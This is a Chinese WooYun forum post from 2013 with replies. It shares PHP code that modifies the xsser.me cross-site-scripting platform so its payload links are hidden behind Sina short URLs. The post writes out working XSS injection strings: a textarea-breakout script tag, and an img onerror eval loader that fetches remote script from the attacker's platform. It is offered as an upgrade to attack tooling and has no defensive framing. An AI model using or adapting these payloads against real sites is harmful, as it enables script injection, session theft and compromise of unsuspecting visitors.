当前位置:WooYun(白帽子技术社区) >> xss >> [xsser.me]分享一下自己新浪短网址生成代码不需要申请接口[非插件]

[xsser.me]分享一下自己新浪短网址生成代码不需要申请接口[非插件]

Jonasen | 2013-06-14 18:36

时间匆忙 大牛见笑
下载请点击感谢!!!
在function.php中增加下方代码
/*t.cn短网址*/
function Vpost($url,$data){ // 模拟提交数据函数
    $curl = curl_init(); // 启动一个CURL会话
    curl_setopt($curl, CURLOPT_URL, $url); // 要访问的地址
    curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, 0); // 对认证证书来源的检查
    curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, 1); // 从证书中检查SSL加密算法是否存在
    curl_setopt($curl, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']); // 模拟用户使用的浏览器
    // curl_setopt($curl, CURLOPT_FOLLOWLOCATION, 1); // 使用自动跳转
    curl_setopt($curl, CURLOPT_AUTOREFERER, 1); // 自动设置Referer
    curl_setopt($curl, CURLOPT_POST, 1); // 发送一个常规的Post请求
    curl_setopt($curl, CURLOPT_POSTFIELDS, $data); // Post提交的数据包
    curl_setopt($curl, CURLOPT_TIMEOUT, 30); // 设置超时限制防止死循环
    curl_setopt($curl, CURLOPT_HEADER, 0); // 显示返回的Header区域内容
    curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1); // 获取的信息以文件流的形式返回
    $tmpInfo = curl_exec($curl); // 执行操作
  if (curl_errno($curl)) {
    echo 'Errno'.curl_error($curl);//捕抓异常
  }
    curl_close($curl); // 关闭CURL会话
    return $tmpInfo; // 返回数据
  }
function Vurl($turl){
$url = "http://www.henshiyong.com/tools/sina-shorten-url.php";
$data ="url=".$turl."&submit=submit";
$result = Vpost($url,$data);
if ( preg_match( "/<textarea>(.*?)<\/textarea>/", $result, $match ) ) {
  $tempurl= $match[1];
  }
return $tempurl;
}

将project.php中186-192的代码替换成下方代码
$codeurl=Vurl(URL_ROOT."/{$project[urlKey]}?".time());



    $code.=$project['code'];

    $scriptShow1=StripStr("</textarea>'\"><script src=".Vurl(URL_ROOT."/{$project[urlKey]}?".time())."></script>");



    $code2='var b=document.createElement("script");b.src="'.Vurl(URL_ROOT."/{$project[urlKey]}?").'"+Math.random();(document.getElementsByTagName("HEAD")[0]||document.body).appendChild(b);';

    $scriptShow2=StripStr("</textarea>'\"><img src=# id=xssyou style=display:none onerror=eval(unescape(/".rawurlencode($code2)."/.source));//>");

效果图:
xss.jpg

分享到:
  1. 1#
    回复此人 感谢
    熊猫 (ส็็็็็็็็็็็็็็็็็็็็็็็็็ส็็็็็็็็็็็็็็็็็็็็็็็็็ส็็็็็็็็็็็็็็็็็็็็็็็็็ส็็็็็็็็็็็็็็็็็็็็็็็็็ส็็็็็็็็็็็็็็็็็็็็็็็็็ส็็็็็็็็็็็็็็็็็็็็็็็็็ส็็็็็็็็็็็็็็็็็็็็็็็็็ส็็็็็็็็็็็็็็็็็็็็็็็็็ส็็็็็็็็็็็็็็็็็็็็็็็็็ส็็็็็็็็็็็็็็็็็็็็) | 2013-06-14 18:43

    马克吐温~

  2. 2#
    回复此人 感谢
    xsser (十根阳具有长短!!) | 2013-06-14 18:48

    这些url会分享给360的

  3. 3#
    回复此人 感谢
    小乐天 | 2013-06-15 18:06

    不懂怎么生成

  4. 4#
    回复此人 感谢
    Passer_by (腾讯微博的Passer-by不是我) | 2013-07-05 17:41

    求这个源码
    http://www.henshiyong.com/tools/sina-shorten-url.php

  5. 5#
    回复此人 感谢
    昵称 (</textarea>'"><script src) | 2013-07-17 15:48

    马克吐温~

添加新回复

登录 后才能参与评论.

WooYun(白帽子技术社区)

网络安全资讯、讨论,跨站师,渗透师,结界师聚集之地

登录